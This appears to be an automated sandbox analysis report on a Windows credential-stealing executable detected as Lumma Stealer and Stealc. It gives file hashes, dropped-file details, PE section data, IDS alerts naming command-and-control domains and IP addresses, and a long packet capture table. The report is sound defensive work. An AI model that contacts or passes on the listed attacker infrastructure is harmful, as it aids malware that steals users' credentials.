	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206
WHOLESALECONNECTIONSNL	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.206
	Qmg24kMXxU.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	f48jWpQ2F8.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	R2CgZG545D.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	UyiH4t5dph.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	RZnZbS97dD.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, zgRAT	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	zhQFKte2vX.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	ddySsHnC6l.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	NAliwxUTJ4.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.21.99
	Z8oTIWCyDE.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	1QNOKwVoOT.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	104.21.21.99
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	rEK6Z2DVp8.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	iv382V1eOK.exe	Get hash	malicious	LummaC	Browse	104.21.21.99
	gJkNLYV0ax.exe	Get hash	malicious	LummaC	Browse	104.21.21.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe	XNtOBQ5NHr.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\BDZOF15KXHYDKAPFCB6RV5PIQNX525.exe

Download File

Process:	C:\Users\user\Desktop\u1z7S3hr06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2883584
Entropy (8bit):	6.537966262752438
Encrypted:	false
SSDEEP:	24576:LBGJABbey9EKIXUDMPygZalHOiZncFx2J/atbmmPffRv7P8ussEsfEEi3M4rz7Jf:lKABDZIXUI5iuiZ29zmuarfkjpTSyng
MD5:	A0956C9F9C719B85668C6F8B85F89A5B
SHA1:	031F8C3BF791E31AE9B03286B486B1365B81F745
SHA-256:	998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
SHA-512:	1EE084EF14A516733FFAEDD360B43560BF87E999FC4F2AD9C8D34191F33E6FAFDE7BD0773CC422F63D664E8B8D994D1884736F70C360927AAEF75745323B8474
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......0O...........@..........................`O......,...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ojvirhut.`...$..^..\|..............@...ueswzroq..... O.......+.............@....taggant.0...0O.."....+.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QG5URI6Q0ZNU9FS6XT6N3IH7I.exe

Download File

Process:	C:\Users\user\Desktop\u1z7S3hr06.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2846208
Entropy (8bit):	6.507795844165892
Encrypted:	false
SSDEEP:	49152:s76edacm78p+b6wendBF+BPBUN8dj2KZepji23LmZVHz:0dacm5b6wedB0BJU8j2NpOQQVH
MD5:	ED267F8F886C1D23165754F5C17B852D
SHA1:	65F287E63EF2CF1106CF8C2AF026A8E6C12724D3
SHA-256:	196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123
SHA-512:	E07605D0CBBC0588B574A359AB6F6681B1CF99C6706EE91C27D579F3041F46BAA28184DD35612EFB9325B8B6CC9FC92A275ABED3B1126A8C7B2633B0E49C491F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: XNtOBQ5NHr.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ........................+......+...`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...ljmymddw...........h..............@...ajdgxuni. ....+......F+.............@....taggant.@....+.."...L+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.9467748164011125
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	u1z7S3hr06.exe
File size:	1'877'504 bytes
MD5:	e82aa987c6c593c0c4bedb9747ec1666
SHA1:	d19b1a59bd10f4421ffb716f7f4a46ba00ffc5c8
SHA256:	3a8610852459c88c10ce098181b9005f9b295ebfe04a85d1878dd51aedcf31b9
SHA512:	e7e5c7a8186bebf1d42c5cc8a419bfdc53d415ae99fcdaa53dcb789150bb0fff8b6ac4baa729ab14b357e4d8c3db041160cbc656795803c150c97160125bce0a
SSDEEP:	49152:ge+Ff+ik5Gyx9Pk72fzz9ArheTYb/ERn3cJnay42tjiK:gzFGLhk7kHarZb/ER3cJK25
TLSH:	7995331D4BA5AE08D4B951313D4363574C21390ECCB0FDB96B47838FE696BA82B9FD09
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g.............................@J...........@..........................pJ...........@.................................T0..h..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x8a4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA470DF3E0Ah
je 00007FA470DF3E22h
add byte ptr [eax], al
jmp 00007FA470DF5E05h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	a8b6565f5f17da06cb79c8fa378c132a	False	0.9973512414383562	data	7.97380271953034	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2ac000	0x200	6dde6598244e6345e981df7e1caab679	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dpwxnord	0x300000	0x1a3000	0x1a2200	678dc49d7a696da5bb912bd9e9a76263	False	0.9945686192077728	data	7.952405091757529	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
drbxlxwv	0x4a3000	0x1000	0x400	1eccf80742ae2d5d4fbc9e2dda37b0d5	False	0.7216796875	data	5.792091906320567	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a4000	0x3000	0x2200	5ca1001d39b1159fec643ca228f1eed9	False	0.08628216911764706	DOS executable (COM)	1.1067516857914361	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-20T17:10:30.812058+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.4	59219	1.1.1.1	53	UDP
2024-12-20T17:10:31.039553+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.4	63071	1.1.1.1	53	UDP
2024-12-20T17:10:31.184345+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.4	50611	1.1.1.1	53	UDP
2024-12-20T17:10:32.687878+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:32.687878+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:33.448052+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:33.448052+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.21.99	443	TCP
2024-12-20T17:10:34.680787+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:34.680787+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:35.523254+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:35.523254+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.21.99	443	TCP
2024-12-20T17:10:37.153658+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49732	104.21.21.99	443	TCP
2024-12-20T17:10:37.153658+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.21.99	443	TCP
2024-12-20T17:10:39.159750+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49732	104.21.21.99	443	TCP
2024-12-20T17:10:40.466540+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49733	104.21.21.99	443	TCP
2024-12-20T17:10:40.466540+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.21.99	443	TCP
2024-12-20T17:10:42.765441+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49734	104.21.21.99	443	TCP
2024-12-20T17:10:42.765441+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.21.99	443	TCP
2024-12-20T17:10:45.498855+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49735	104.21.21.99	443	TCP
2024-12-20T17:10:45.498855+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.21.99	443	TCP
2024-12-20T17:10:47.992496+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49737	104.21.21.99	443	TCP
2024-12-20T17:10:47.992496+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.21.99	443	TCP
2024-12-20T17:10:53.119450+0100	2058361	ET MALWARE Observed Win32/Lumma Stealer Related Domain (discokeyus .lat in TLS SNI)	1	192.168.2.4	49742	104.21.21.99	443	TCP
2024-12-20T17:10:53.119450+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.21.99	443	TCP
2024-12-20T17:10:53.880718+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49742	104.21.21.99	443	TCP
2024-12-20T17:10:55.424213+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-12-20T17:11:11.574465+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49745	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 17:10:31.457062960 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:31.457104921 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:31.457565069 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:31.460819006 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:31.460833073 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:32.687783003 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:32.687877893 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:32.692488909 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:32.692498922 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:32.692910910 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:32.743359089 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:32.752937078 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:32.752984047 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:32.753182888 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.448081970 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.448220968 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.448299885 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.452539921 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.452558041 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.452569008 CET	49730	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.452574015 CET	443	49730	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.463454008 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.463502884 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:33.463602066 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.464014053 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:33.464032888 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:34.680718899 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:34.680787086 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:34.682415009 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:34.682427883 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:34.682837963 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:34.684190989 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:34.684215069 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:34.684286118 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523262024 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523343086 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523380995 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523402929 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.523426056 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523468018 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.523478985 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523628950 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.523674965 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.523684025 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.531611919 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.531691074 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.531702995 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.539737940 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.539823055 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.539836884 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.587146997 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.587162971 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.634026051 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.642800093 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.696508884 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.715147018 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.718879938 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.718947887 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.718966961 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.719119072 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.719177008 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.719237089 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.719259977 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.719273090 CET	49731	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.719280005 CET	443	49731	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.931952953 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.932024002 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:35.932106018 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.932406902 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:35.932432890 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:37.153565884 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:37.153657913 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:37.155076027 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:37.155117035 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:37.156109095 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:37.157293081 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:37.157421112 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:37.157457113 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:37.157526016 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:37.157546043 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:39.159811974 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:39.160043001 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:39.160175085 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:39.160262108 CET	49732	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:39.160305977 CET	443	49732	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:39.245970011 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:39.246027946 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:39.246115923 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:39.246450901 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:39.246474028 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:40.466408014 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:40.466540098 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:40.467930079 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:40.467947006 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:40.468265057 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:40.469445944 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:40.469549894 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:40.469569921 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:41.313026905 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:41.313137054 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:41.313215017 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:41.313426018 CET	49733	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:41.313446045 CET	443	49733	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:41.543848991 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:41.543953896 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:41.544050932 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:41.544337988 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:41.544369936 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:42.765310049 CET	443	49734	104.21.21.99	192.168.2.4
Dec 20, 2024 17:10:42.765440941 CET	49734	443	192.168.2.4	104.21.21.99
Dec 20, 2024 17:10:42.766875029 CET	49734	443	192.168.2.4	104.21.21.99
